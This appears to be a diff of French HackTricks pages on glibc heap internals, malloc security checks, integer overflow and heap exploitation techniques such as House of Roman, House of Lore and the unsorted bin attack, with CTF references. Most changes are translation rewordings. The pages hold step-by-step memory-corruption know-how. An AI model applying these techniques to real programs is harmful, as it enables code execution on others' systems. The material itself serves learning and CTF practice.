+Par exemple, un **entier non signé de 8 bits** peut représenter des valeurs de **0 à 255**. Si vous essayez de stocker la valeur 256 dans un entier non signé de 8 bits, cela revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **entier non signé de 16 bits**, qui peut contenir des valeurs de **0 à 65 535**, ajouter 1 à 65 535 ramènera la valeur à 0.
 
 De plus, un **entier signé de 8 bits** peut représenter des valeurs de **-128 à 127**. Cela est dû au fait qu'un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour représenter la magnitude. Le nombre le plus négatif est représenté par **-128** (binaire `10000000`), et le nombre le plus positif est **127** (binaire `01111111`).
 
@@ -99,7 +99,7 @@ Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interpré
 - Seulement 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de le dépasser et de le faire penser qu'il a une longueur de 4 alors qu'il est en réalité de 260 pour contourner la protection de vérification de longueur.
 - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
 
-- Étant donné quelques nombres, trouvez en utilisant z3 un nouveau nombre qui multiplié par le premier donnera le deuxième : 
+- Étant donné quelques nombres, trouvez en utilisant z3 un nouveau nombre qui multiplié par le premier donnera le second :
 
 ```
 (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md

@@ -39,7 +39,7 @@ malloc-and-sysmalloc.md
 - **Vérifications lors de la recherche dans le small bin :**
 - Si `victim->bk->fd != victim` :
 - Message d'erreur : `malloc(): smallbin double linked list corrupted`
-- **Vérifications lors de la consolidation** effectuées pour chaque morceau de fast bin : 
+- **Vérifications lors de la consolidation** effectuées pour chaque morceau de fast bin :
 - Si le morceau est mal aligné, déclenchez :
 - Message d'erreur : `malloc_consolidate(): unaligned fastbin chunk detected`
 - Si le morceau a une taille différente de celle qu'il devrait avoir à cause de l'index dans lequel il se trouve :
@@ -47,16 +47,16 @@ malloc-and-sysmalloc.md
 - Si le morceau précédent n'est pas utilisé et que le morceau précédent a une taille différente de celle indiquée par prev_chunk :
 - Message d'erreur : `corrupted size vs. prev_size in fastbins`
 - **Vérifications lors de la recherche dans le unsorted bin :**
-- Si la taille du morceau est étrange (trop petite ou trop grande) : 
+- Si la taille du morceau est étrange (trop petite ou trop grande) :
 - Message d'erreur : `malloc(): invalid size (unsorted)`
 - Si la taille du morceau suivant est étrange (trop petite ou trop grande) :
 - Message d'erreur : `malloc(): invalid next size (unsorted)`
 - Si la taille précédente indiquée par le morceau suivant diffère de la taille du morceau :
 - Message d'erreur : `malloc(): mismatching next->prev_size (unsorted)`
-- Si `victim->bck->fd != victim` ou si `victim->fd != av (arena)` :
+- Si `victim->bck->fd != victim` ou `victim->fd != av (arena)` :
 - Message d'erreur : `malloc(): unsorted double linked list corrupted`
 - Comme nous vérifions toujours le dernier, son fd devrait toujours pointer vers la structure arena.
-- Si le morceau suivant n'indique pas que le précédent est utilisé :
+- Si le morceau suivant n'indique pas que le précédent est en cours d'utilisation :
 - Message d'erreur : `malloc(): invalid next->prev_inuse (unsorted)`
 - Si `fwd->bk_nextsize->fd_nextsize != fwd` :
 - Message d'erreur : `malloc(): largebin double linked list corrupted (nextsize)`

src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md

@@ -7,7 +7,7 @@
 (Aucune vérification n'est expliquée dans ce résumé et certains cas ont été omis pour des raisons de concision)
 
 1. `__libc_malloc` essaie d'obtenir un chunk du tcache, sinon il appelle `_int_malloc`
-2. `_int_malloc` : 
+2. `_int_malloc` :
 1. Essaie de générer l'arène s'il n'y en a pas
 2. S'il y a un chunk de fast bin de la bonne taille, l'utilise
 1. Remplit le tcache avec d'autres chunks rapides
@@ -102,7 +102,7 @@ return victim;
 ```
 </details>
 
-Notez qu'il marquera toujours le pointeur retourné avec `tag_new_usable`, à partir du code :
+Notez comment il taguera toujours le pointeur retourné avec `tag_new_usable`, à partir du code :
 ```c
 void *tag_new_usable (void *ptr)
 
@@ -113,7 +113,7 @@ recolored for accessing the memory there.
 ```
 ## \_int_malloc <a href="#int_malloc" id="int_malloc"></a>
 
-C'est la fonction qui alloue de la mémoire en utilisant les autres bacs et le top chunk.
+C'est la fonction qui alloue de la mémoire en utilisant les autres bacs et le morceau supérieur.
 
 - Début
 
@@ -121,7 +121,7 @@ Elle commence par définir quelques variables et obtenir la taille réelle que l
 
 <details>
 
-<summary>_int_malloc début</summary>
+<summary>_int_malloc start</summary>
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
 static void *
@@ -167,7 +167,7 @@ return NULL;
 ```
 </details>
 
-### Arène
+### Arena
 
 Dans le cas peu probable où il n'y a pas d'arènes utilisables, il utilise `sysmalloc` pour obtenir un morceau de `mmap` :
 
@@ -197,7 +197,7 @@ Lors de l'exécution de ces actions, certaines vérifications de sécurité sont
 
 - Si le chunk est mal aligné : `malloc(): unaligned fastbin chunk detected 2`
 - Si le chunk suivant est mal aligné : `malloc(): unaligned fastbin chunk detected`
-- Si le chunk retourné a une taille incorrecte en raison de son index dans le fast bin : `malloc(): memory corruption (fast)`
+- Si le chunk retourné a une taille incorrecte à cause de son index dans le fast bin : `malloc(): memory corruption (fast)`
 - Si un chunk utilisé pour remplir le tcache est mal aligné : `malloc(): unaligned fastbin chunk detected 3`
 
 <details>
@@ -289,9 +289,9 @@ La première vérification consiste à déterminer si la taille demandée pourra
 
 Ensuite, une vérification de sécurité est effectuée en vérifiant :
 
-- &#x20;si `victim->bk->fd = victim`. Pour voir que les deux chunks sont correctement liés.
+- si `victim->bk->fd = victim`. Pour voir que les deux chunks sont correctement liés.
 
-Dans ce cas, le chunk **obtient le bit `inuse`,** la liste doublement chaînée est corrigée afin que ce chunk disparaisse de celle-ci (car il va être utilisé), et le bit non principal de l'arène est défini si nécessaire.
+Dans ce cas, le chunk **obtient le bit `inuse`,** la liste doublement chaînée est corrigée afin que ce chunk disparaisse de celle-ci (car il va être utilisé), et le bit d'arène non principale est défini si nécessaire.
 
 Enfin, **remplissez l'index tcache de la taille demandée** avec d'autres chunks à l'intérieur du petit bin (le cas échéant).
 
@@ -389,15 +389,15 @@ malloc_consolidate (av);
 ```
 </details>
 
-La fonction malloc consolidate supprime essentiellement des morceaux du fast bin et les place dans le unsorted bin. Après le prochain malloc, ces morceaux seront organisés dans leurs fast bins respectifs.
+La fonction malloc consolidate supprime essentiellement des chunks du fast bin et les place dans le unsorted bin. Après le prochain malloc, ces chunks seront organisés dans leurs petits fast bins respectifs.
 
-Notez que si, lors de la suppression de ces morceaux, ils sont trouvés avec des morceaux précédents ou suivants qui ne sont pas utilisés, ils seront **déliés et fusionnés** avant de placer le morceau final dans le **unsorted** bin.
+Notez que si, lors de la suppression de ces chunks, ils sont trouvés avec des chunks précédents ou suivants qui ne sont pas utilisés, ils seront **déliés et fusionnés** avant de placer le chunk final dans le **unsorted** bin.
 
-Pour chaque morceau de fast bin, quelques vérifications de sécurité sont effectuées :
+Pour chaque chunk de fast bin, quelques vérifications de sécurité sont effectuées :
 
-- Si le morceau est désaligné, déclenche : `malloc_consolidate(): unaligned fastbin chunk detected`
-- Si le morceau a une taille différente de celle qu'il devrait avoir en raison de l'index dans lequel il se trouve : `malloc_consolidate(): invalid chunk size`
-- Si le morceau précédent n'est pas utilisé et que le morceau précédent a une taille différente de celle indiquée par `prev_chunk` : `corrupted size vs. prev_size in fastbins`
+- Si le chunk est désaligné, déclenche : `malloc_consolidate(): unaligned fastbin chunk detected`
+- Si le chunk a une taille différente de celle qu'il devrait avoir en raison de l'index dans lequel il se trouve : `malloc_consolidate(): invalid chunk size`
+- Si le chunk précédent n'est pas utilisé et que le chunk précédent a une taille différente de celle indiquée par `prev_chunk` : `corrupted size vs. prev_size in fastbins`
 
 <details>
 
@@ -504,26 +504,26 @@ av->top = p;
 ```
 </details>
 
-### Bin non trié
+### Unsorted bin
 
-Il est temps de vérifier le bin non trié pour un potentiel chunk valide à utiliser.
+Il est temps de vérifier le tas non trié pour un morceau valide potentiel à utiliser.
 
-#### Début
+#### Start
 
-Cela commence par une grande boucle for qui va parcourir le bin non trié dans la direction `bk` jusqu'à ce qu'elle arrive à la fin (la structure arena) avec `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`&#x20;
+Cela commence par une grande boucle for qui va parcourir le tas non trié dans la direction `bk` jusqu'à ce qu'elle arrive à la fin (la structure arena) avec `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
 
-De plus, certaines vérifications de sécurité sont effectuées chaque fois qu'un nouveau chunk est considéré :
+De plus, certaines vérifications de sécurité sont effectuées chaque fois qu'un nouveau morceau est considéré :
 
-- Si la taille du chunk est étrange (trop petite ou trop grande) : `malloc(): invalid size (unsorted)`
-- Si la taille du chunk suivant est étrange (trop petite ou trop grande) : `malloc(): invalid next size (unsorted)`
-- Si la taille précédente indiquée par le chunk suivant diffère de la taille du chunk : `malloc(): mismatching next->prev_size (unsorted)`
+- Si la taille du morceau est étrange (trop petite ou trop grande) : `malloc(): invalid size (unsorted)`
+- Si la taille du morceau suivant est étrange (trop petite ou trop grande) : `malloc(): invalid next size (unsorted)`
+- Si la taille précédente indiquée par le morceau suivant diffère de la taille du morceau : `malloc(): mismatching next->prev_size (unsorted)`
 - Si `victim->bck->fd != victim` ou `victim->fd != av` (arène) : `malloc(): unsorted double linked list corrupted`
 - Comme nous vérifions toujours le dernier, son `fd` devrait toujours pointer vers la structure arena.
-- Si le chunk suivant n'indique pas que le précédent est en cours d'utilisation : `malloc(): invalid next->prev_inuse (unsorted)`
+- Si le morceau suivant n'indique pas que le précédent est en cours d'utilisation : `malloc(): invalid next->prev_inuse (unsorted)`
 
 <details>
 
-<summary><code>_int_malloc</code> début du bin non trié</summary>
+<summary><code>_int_malloc</code> unsorted bin start</summary>
 ```c
 /*
 Process recently freed or remaindered chunks, taking one only if
@@ -580,7 +580,7 @@ Si le morceau est plus grand que la taille demandée, utilisez-le et placez le r
 
 <details>
 
-<summary><code>_int_malloc</code> liste non triée <code>in_smallbin_range</code></summary>
+<summary><code>_int_malloc</code> bin non trié <code>in_smallbin_range</code></summary>
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
 
@@ -627,10 +627,10 @@ Si cela a réussi, renvoyez le morceau et c'est fini, sinon, continuez à exécu
 
 #### si taille égale
 
-Continuez à retirer le morceau du bin, au cas où la taille demandée serait exactement celle du morceau :
+Continuez à retirer le morceau du bin, dans le cas où la taille demandée est exactement celle du morceau :
 
 - Si le tcache n'est pas rempli, ajoutez-le au tcache et continuez en indiquant qu'il y a un morceau de tcache qui pourrait être utilisé
-- Si le tcache est plein, utilisez-le simplement en le retournant
+- Si le tcache est plein, utilisez-le simplement en le renvoyant
 
 <details>
 
@@ -889,9 +889,9 @@ return p;
 
 Si un morceau n'est pas jugé approprié pour cela, continuez
 
-### Grand Bin (suivant le plus grand)
+### Grand Bin (plus grand suivant)
 
-Si dans le grand bin exact, il n'y avait aucun morceau qui pouvait être utilisé, commencez à parcourir tous les grands bins suivants (en commençant par le plus grand immédiatement) jusqu'à ce qu'un soit trouvé (s'il y en a).
+Si dans le grand bin exact il n'y avait aucun morceau qui pouvait être utilisé, commencez à parcourir tous les grands bins suivants (en commençant par le plus grand immédiatement) jusqu'à ce qu'un soit trouvé (s'il y en a).
 
 Le reste du morceau divisé est ajouté dans le bin non trié, last_reminder est mis à jour et la même vérification de sécurité est effectuée :
 
@@ -899,7 +899,7 @@ Le reste du morceau divisé est ajouté dans le bin non trié, last_reminder est
 
 <details>
 
-<summary><code>_int_malloc</code> Grand bin (suivant le plus grand)</summary>
+<summary><code>_int_malloc</code> Grand bin (plus grand suivant)</summary>
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
 
@@ -1017,7 +1017,7 @@ return p;
 
 À ce stade, il est temps d'obtenir un nouveau chunk à partir du Top chunk (s'il est suffisamment grand).
 
-Il commence par une vérification de sécurité pour s'assurer que la taille du chunk n'est pas trop grande (corrompue) :
+Il commence par un contrôle de sécurité pour s'assurer que la taille du chunk n'est pas trop grande (corrompue) :
 
 - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
 
@@ -1096,13 +1096,13 @@ return p;
 
 ## sysmalloc
 
-### sysmalloc démarrer
+### sysmalloc start
 
 Si l'arène est nulle ou si la taille demandée est trop grande (et qu'il reste des mmaps autorisés), utilisez `sysmalloc_mmap` pour allouer de l'espace et le retourner.
 
 <details>
 
-<summary>sysmalloc démarrer</summary>
+<summary>sysmalloc start</summary>
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
 
@@ -1212,8 +1212,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
 
 ### sysmalloc pas l'arène principale
 
-Il essaiera d'abord de **étendre** le tas précédent pour ce tas. Si ce n'est pas possible, essayez de **allouer un nouveau tas** et de mettre à jour les pointeurs pour pouvoir l'utiliser.\
-Enfin, si cela n'a pas fonctionné, essayez d'appeler **`sysmalloc_mmap`**.&#x20;
+Il essaiera d'abord de **prolonger** le tas précédent pour ce tas. Si ce n'est pas possible, il essaiera de **allouer un nouveau tas** et de mettre à jour les pointeurs pour pouvoir l'utiliser.\
+Enfin, si cela n'a pas fonctionné, essayez d'appeler **`sysmalloc_mmap`**.
 
 <details>
 

src/binary-exploitation/libc-heap/house-of-einherjar.md

@@ -26,7 +26,7 @@
 
 - Un faux chunk `A` est créé à l'intérieur d'un chunk contrôlé par l'attaquant pointant avec `fd` et `bk` vers le chunk original pour contourner les protections
 - 2 autres chunks (`B` et `C`) sont alloués
-- En abusant du débordement d'un octet dans le chunk `B`, le bit `prev in use` est nettoyé et les données `prev_size` sont écrasées avec la différence entre l'endroit où le chunk `C` est alloué et le faux chunk `A` généré précédemment
+- En abusant du débordement d'un octet dans le chunk `B`, le bit `prev in use` est nettoyé et les données `prev_size` sont écrasées avec la différence entre l'endroit où le chunk `C` est alloué et le faux chunk `A` généré auparavant
 - Ce `prev_size` et la taille dans le faux chunk `A` doivent être les mêmes pour contourner les vérifications.
 - Ensuite, le tcache est rempli
 - Ensuite, `C` est libéré afin qu'il se consolide avec le faux chunk `A`
@@ -34,8 +34,8 @@
 - La maison d'Einherjar se termine ici
 - Cela peut être poursuivi avec une attaque de fast bin ou un empoisonnement de Tcache :
 - Libérer `B` pour l'ajouter au fast bin / Tcache
-- Le `fd` de `B` est écrasé, le faisant pointer vers l'adresse cible en abusant du chunk `D` (car il contient `B` à l'intérieur) 
-- Ensuite, 2 mallocs sont effectués et le deuxième va **allouer l'adresse cible**
+- Le `fd` de `B` est écrasé, le faisant pointer vers l'adresse cible en abusant du chunk `D` (car il contient `B` à l'intérieur)
+- Ensuite, 2 mallocs sont effectués et le second va **allouer l'adresse cible**
 
 ## Références et autres exemples
 

src/binary-exploitation/libc-heap/house-of-lore.md

@@ -10,7 +10,7 @@
 - Cela ne fonctionne pas
 - Ou : [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
 - Cela ne fonctionne pas même s'il essaie de contourner certaines vérifications en obtenant l'erreur : `malloc(): unaligned tcache chunk detected`
-- Cet exemple fonctionne encore : [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
+- Cet exemple fonctionne encore : [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
 
 ### Objectif
 
@@ -25,17 +25,17 @@ Notez que le petit morceau ajouté est le faux que l'attaquant crée et non un f
 - `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le morceau de petit bin libéré via une autre vulnérabilité)
 - `legit.bk` -> `fake0`
 
-Ensuite, vous pourrez allouer `fake0`.
+Vous pourrez alors allouer `fake0`.
 
 ### Attaque
 
-- Un petit morceau (`legit`) est alloué, puis un autre est alloué pour éviter de se consolider avec le morceau supérieur. Ensuite, `legit` est libéré (le déplaçant vers la liste des bins non triés) et un morceau plus grand est alloué, **déplaçant `legit` vers le petit bin.**
+- Un petit morceau (`legit`) est alloué, puis un autre est alloué pour éviter la consolidation avec le morceau supérieur. Ensuite, `legit` est libéré (le déplaçant vers la liste des bins non triés) et un morceau plus grand est alloué, **déplaçant `legit` vers le petit bin.**
 - Un attaquant génère quelques faux petits morceaux et effectue les liaisons nécessaires pour contourner les vérifications de validité :
 - `fake0.bk` -> `fake1`
 - `fake1.fd` -> `fake0`
 - `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le morceau de petit bin libéré via une autre vulnérabilité)
 - `legit.bk` -> `fake0`
-- Un petit morceau est alloué pour obtenir legit, rendant **`fake0`** en haut de la liste des petits bins
+- Un petit morceau est alloué pour obtenir legit, rendant **`fake0`** le premier de la liste des petits bins
 - Un autre petit morceau est alloué, obtenant `fake0` comme morceau, permettant potentiellement de lire/écrire des pointeurs à l'intérieur.
 
 ## Références

src/binary-exploitation/libc-heap/house-of-roman.md

@@ -49,19 +49,19 @@ fastbin:  fastbin_victim -> relative_offset_heap
 unsorted: leftover_main
 */
 ```
--  `fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
--  `relative_offset_heap` est un offset de distance par rapport à `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
-- Il suffit de changer le dernier octet de `fastbin_victim.fd` pour que `fastbin_victim points` vers `main_arena + 0x68`
+- `fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
+- `relative_offset_heap` est un offset de distance par rapport à `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
+- En changeant simplement le dernier octet de `fastbin_victim.fd`, il est possible de faire pointer `fastbin_victim` vers `main_arena + 0x68`
 
 Pour les actions précédentes, l'attaquant doit être capable de modifier le pointeur fd de `fastbin_victim`.
 
 Ensuite, `main_arena + 0x68` n'est pas si intéressant, alors modifions-le pour que le pointeur pointe vers **`__malloc_hook`**.
 
-Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier comme une valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur pointe là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
+Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier comme une valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur finisse par pointer là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
 
 (Pour plus d'infos sur le reste des octets, consultez l'explication dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Si le BF ne fonctionne pas, le programme plante simplement (donc recommencez jusqu'à ce que ça fonctionne).
 
-Ensuite, 2 mallocs sont effectués pour supprimer les 2 chunks fast bin initiaux et un troisième est alloué pour obtenir un chunk dans le **`__malloc_hook:`**
+Ensuite, 2 mallocs sont effectués pour supprimer les 2 premiers chunks de fast bin et un troisième est alloué pour obtenir un chunk dans le **`__malloc_hook:`**
 ```c
 malloc(0x60);
 malloc(0x60);
@@ -75,7 +75,7 @@ Pour plus d'infos, vous pouvez consulter :
 unsorted-bin-attack.md
 {{#endref}}
 
-Mais fondamentalement, cela permet d'écrire `main_arena + 0x68` à n'importe quel emplacement spécifié dans `chunk->bk`. Et pour l'attaque, nous choisissons `__malloc_hook`. Ensuite, après l'avoir écrasé, nous utiliserons un écrasement relatif pour pointer vers un `one_gadget`.
+Mais en gros, cela permet d'écrire `main_arena + 0x68` à n'importe quel emplacement spécifié dans `chunk->bk`. Et pour l'attaque, nous choisissons `__malloc_hook`. Ensuite, après l'avoir écrasé, nous utiliserons un écrasement relatif pour pointer vers un `one_gadget`.
 
 Pour cela, nous commençons par obtenir un chunk et le mettre dans le **unsorted bin** :
 ```c
@@ -86,14 +86,14 @@ puts("Put chunk into unsorted_bin\n");
 // Free the chunk to create the UAF
 free(unsorted_bin_ptr);
 ```
-Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` vers l'adresse de `__malloc_hook` (nous l'avons bruteforcé précédemment).
+Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` à l'adresse de `__malloc_hook` (nous l'avons bruteforcé précédemment).
 
 > [!CAUTION]
-> Notez que cette attaque corrompt le tas non trié (donc petit et grand aussi). Nous ne pouvons donc **utiliser que des allocations du tas rapide maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille sinon le programme plantera.**
+> Notez que cette attaque corrompt le tas non trié (donc les petits et grands aussi). Nous ne pouvons donc **utiliser que des allocations du tas rapide maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille sinon le programme plantera.**
 
 Donc, pour déclencher l'écriture de `main_arena + 0x68` dans `__malloc_hook`, nous effectuons après avoir défini `__malloc_hook` dans `unsorted_bin_ptr->bk`, nous devons juste faire : **`malloc(0x80)`**
 
-### Étape 3 : Définir \_\_malloc_hook sur system
+### Étape 3 : Définir \_\_malloc_hook à system
 
 Dans la première étape, nous avons fini par contrôler un morceau contenant `__malloc_hook` (dans la variable `malloc_hook_chunk`) et dans la deuxième étape, nous avons réussi à écrire `main_arena + 0x68` ici.
 

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -1,73 +1,73 @@
-# Attaque de la Bin Non Triée
+# Unsorted Bin Attack
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informations de Base
+## Basic Information
 
-Pour plus d'informations sur ce qu'est une bin non triée, consultez cette page :
+Pour plus d'informations sur ce qu'est un unsorted bin, consultez cette page :
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Les listes non triées peuvent écrire l'adresse de `unsorted_chunks (av)` dans l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de la bin non triée, il pourrait être capable de **écrire cette adresse à une adresse arbitraire** ce qui pourrait être utile pour divulguer des adresses Glibc ou contourner certaines défenses.
+Les listes non triées peuvent écrire l'adresse dans `unsorted_chunks (av)` à l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de l'unsorted bin, il pourrait être capable de **écrire cette adresse à une adresse arbitraire** ce qui pourrait être utile pour divulguer des adresses Glibc ou contourner certaines protections.
 
-Donc, fondamentalement, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de tas ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque de bin non triée à une attaque de fast bin).
+Donc, en gros, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de heap ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque d'unsorted bin à une attaque de fast bin).
 
 > [!TIP]
-> J>etez un œil à l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter Tcache), il est possible de voir que **de nos jours** l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
+> J> etant un coup d'œil à l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter Tcache), il est possible de voir que **de nos jours** l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
 >
-> Par conséquent, cette attaque de bin non triée nécessite maintenant (entre autres vérifications) également d'être capable de corriger la liste doublement chaînée afin que cela soit contourné `victim->bk->fd == victim` ou non `victim->fd == av (arena)`, ce qui signifie que l'adresse où nous voulons écrire doit avoir l'adresse du faux chunk dans sa position `fd` et que le faux chunk `fd` pointe vers l'arène.
+> Par conséquent, cette attaque d'unsorted bin nécessite maintenant (parmi d'autres vérifications) également d'être capable de corriger la liste doublement chaînée afin que cela soit contourné `victim->bk->fd == victim` ou non `victim->fd == av (arena)`, ce qui signifie que l'adresse où nous voulons écrire doit avoir l'adresse du faux chunk dans sa position `fd` et que le faux chunk `fd` pointe vers l'arène.
 
 > [!CAUTION]
-> Notez que cette attaque corrompt la bin non triée (d'où les petites et grandes aussi). Donc, nous ne pouvons utiliser que **des allocations à partir de la fast bin maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
+> Notez que cette attaque corrompt l'unsorted bin (donc les petits et grands aussi). Nous ne pouvons donc **utiliser que des allocations à partir du fast bin maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
 >
-> Notez que la réécriture de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fait que la fast bin sera capable de s'occuper de toutes les autres allocations jusqu'à ce que l'exploitation soit terminée.
+> Notez que l'écrasement de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fast bin pour s'occuper de toutes les autres allocations jusqu'à ce que l'exploitation soit terminée.
 
 Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer une mémoire suffisamment grande pour ne pas se retrouver dans un Tcache, vous pouvez voir que l'erreur mentionnée précédemment apparaît empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
 
-## Attaque de Divulgation d'Informations de Bin Non Triée
+## Unsorted Bin Infoleak Attack
 
-C'est en fait un concept très basique. Les chunks dans la bin non triée vont avoir des pointeurs. Le premier chunk dans la bin non triée aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie de l'arène principale (Glibc)**.\
-Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'une bin non triée et le lire** (utiliser après libération) ou **le réallouer sans écraser au moins 1 des pointeurs** pour ensuite **le lire**, vous pouvez avoir une **divulgation d'informations Glibc**.
+C'est en fait un concept très basique. Les chunks dans l'unsorted bin vont avoir des pointeurs. Le premier chunk dans l'unsorted bin aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie de l'arène principale (Glibc)**.\
+Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'un unsorted bin et le lire** (use after free) ou **le réallouer sans écraser au moins 1 des pointeurs** pour ensuite **le lire**, vous pouvez avoir une **divulgation d'informations Glibc**.
 
 Une [**attaque similaire utilisée dans ce rapport**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) a été d'abuser d'une structure de 4 chunks (A, B, C et D - D est seulement pour empêcher la consolidation avec le chunk supérieur) donc un débordement de byte nul dans B a été utilisé pour faire indiquer à C que B était inutilisé. De plus, dans B, les données `prev_size` ont été modifiées pour que la taille au lieu d'être la taille de B soit A+B.\
 Ensuite, C a été désalloué et consolidé avec A+B (mais B était toujours utilisé). Un nouveau chunk de taille A a été alloué et ensuite les adresses de libc divulguées ont été écrites dans B d'où elles ont été divulguées.
 
-## Références & Autres exemples
+## References & Other examples
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- L'objectif est de réécrire une variable globale avec une valeur supérieure à 4869 afin qu'il soit possible d'obtenir le drapeau et que PIE ne soit pas activé.
-- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de tas avec la taille désirée.
+- L'objectif est d'écraser une variable globale avec une valeur supérieure à 4869 afin qu'il soit possible d'obtenir le flag et que PIE ne soit pas activé.
+- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de heap avec la taille désirée.
 - L'attaque commence par créer 3 chunks : chunk0 pour abuser du débordement, chunk1 pour être débordé et chunk2 pour que le chunk supérieur ne consolide pas les précédents.
 - Ensuite, chunk1 est libéré et chunk0 est débordé pour que le pointeur `bk` de chunk1 pointe vers : `bk = magic - 0x10`
-- Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque de bin non triée et modifiera la valeur de la variable globale, rendant possible d'obtenir le drapeau.
+- Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque d'unsorted bin et modifiera la valeur de la variable globale, rendant possible d'obtenir le flag.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
